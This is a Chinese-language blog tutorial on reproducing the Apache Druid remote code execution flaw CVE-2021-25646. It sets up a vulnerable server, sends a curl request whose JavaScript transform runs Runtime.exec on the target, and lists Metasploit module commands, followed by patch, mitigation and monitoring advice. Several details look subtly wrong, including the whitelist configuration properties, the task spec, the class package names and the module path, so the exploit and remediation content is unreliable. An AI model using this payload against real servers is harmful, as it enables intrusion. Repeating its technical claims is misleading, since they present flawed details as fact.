Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

发布时间:2021-12-28 20:25:09 作者:柒染
来源:亿速云 阅读:183
# Apache Druid 命令执行漏洞CVE-2021-25646复现分析

## 漏洞概述

### 漏洞基本信息
- **漏洞编号**: CVE-2021-25646
- **漏洞类型**: 远程代码执行(RCE)
- **影响组件**: Apache Druid的Indexing Service
- **CVSS评分**: 8.1(高危)
- **影响版本**: 
  - Apache Druid < 0.20.1
  - 部分0.19.0至0.20.0版本

### 漏洞背景
Apache Druid是一个高性能的实时分析数据库,广泛应用于时序数据分析场景。其Indexing Service负责数据摄取任务,通过JSON配置定义数据源和处理逻辑。

## 漏洞原理深度分析

### 技术根源
漏洞源于Druid对用户提供的JSON配置未进行充分过滤,导致攻击者可以通过精心构造的恶意配置注入JavaScript代码:

```json
{
  "type": "index_hadoop",
  "spec": {
    "ioConfig": {
      "type": "hadoop",
      "inputSpec": {
        "type": "inline",
        "data": "恶意数据"
      }
    },
    "dataSchema": {
      "transformSpec": {
        "transforms": [
          {
            "type": "javascript",
            "name": "恶意转换",
            "function": "function(str){...恶意代码...}"
          }
        ]
      }
    }
  }
}

执行流程分析

  1. 配置提交:攻击者向Overlord节点提交恶意任务配置
  2. 配置解析:Indexing Service使用JavaScriptFilter处理transform配置
  3. 引擎初始化:Rhino JavaScript引擎被实例化
  4. 沙箱逃逸:通过Java反射机制突破限制
  5. 代码执行:最终实现java.lang.Runtime调用

环境搭建

实验环境要求

漏洞版本部署

  1. 下载受影响版本:
wget https://archive.apache.org/dist/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz
tar -xzf apache-druid-0.19.0-bin.tar.gz
cd apache-druid-0.19.0
  1. 修改配置文件conf/druid/single-server/micro-quickstart/_common/common.runtime.properties
druid.enableJavaScript=true
druid.script.security.useWhiteList=false
  1. 启动服务:
./bin/start-micro-quickstart

漏洞复现过程

手动复现步骤

  1. 构造恶意请求:
curl -X POST -H "Content-Type: application/json" \
  http://target:8090/druid/indexer/v1/task \
  -d '{
    "type": "index_hadoop",
    "spec": {
      "ioConfig": {
        "type": "hadoop",
        "inputSpec": {"type": "inline", "data": "test"}
      },
      "dataSchema": {
        "dataSource": "sample",
        "parser": {"type": "string", "parseSpec": {...}},
        "transformSpec": {
          "transforms": [{
            "type": "javascript",
            "name": "evil",
            "function": "function(str){java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}"
          }]
        }
      }
    }
  }'
  1. 验证执行结果:
docker exec -it druid-coordinator ls -la /tmp/

自动化利用工具

使用Metasploit模块:

use exploit/multi/http/druid_js_rce
set RHOSTS target
set RPORT 8090
set TARGET_URI /druid
exploit

修复方案

官方补丁

升级到安全版本:

# 修复版本
wget https://archive.apache.org/dist/druid/0.20.1/apache-druid-0.20.1-bin.tar.gz

主要修复点: 1. 默认禁用JavaScript功能 2. 强化JavaScriptFilter的输入验证 3. 引入配置白名单机制

临时缓解措施

# 禁用JavaScript执行
druid.enableJavaScript=false

# 启用白名单
druid.script.security.useWhiteList=true
druid.script.security.whiteList=com.example.AllowedFunctions

深入技术分析

反序列化过程

漏洞触发涉及的关键类: 1. io.druid.indexing.common.task.IndexTask 2. io.druid.segment.transform.JavaScriptTransformer 3. org.mozilla.javascript.Context

调用栈示例:

at org.mozilla.javascript.NativeJavaMethod.call
at io.druid.java.util.common.StringUtils.format
at io.druid.segment.transform.JavaScriptTransformer.transform

沙箱绕过机制

攻击者通过以下方式突破限制: 1. 访问Java原生类:java.lang.Class.forName 2. 反射调用:getMethod().invoke() 3. 最终调用Runtime.exec()

防御建议

企业级防护方案

  1. 网络层

    • 限制Druid集群外网访问
    • 部署WAF规则拦截恶意请求
  2. 主机层

    # SELinux策略
    chcon -t druid_exec_t /path/to/druid/bin
    
  3. 监控方案

    • 日志监控关键词:JavaScriptTransformer, eval
    • 异常进程监控:Runtime.exec

法律与伦理声明

  1. 所有测试必须获得书面授权
  2. 禁止在非隔离环境进行实际攻击
  3. 漏洞披露应遵循CNVD/CVE规范

附录

参考资源

常用命令速查

# 查看运行中的任务
curl http://localhost:8090/druid/indexer/v1/tasks

# 终止恶意任务
curl -X POST http://localhost:8090/druid/indexer/v1/task/{taskId}/shutdown

作者注:本文仅用于安全研究目的,请严格遵守《网络安全法》相关规定。实际漏洞利用可能因环境差异需要调整,建议在完全可控的测试环境中验证。 “`

注:实际执行时需根据具体环境调整参数,所有代码示例需在授权环境下测试。完整复现可能需要配合调试工具(如Arthas)进行动态分析。

推荐阅读:
  1. Apache中Druid多进程架构介绍
  2. Apache Druid是什么?适用于什么场景?

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

druid cve-2021-25646

上一篇:怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

下一篇:Apache Shiro认证绕过漏洞CVE-2020-17523该如何分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》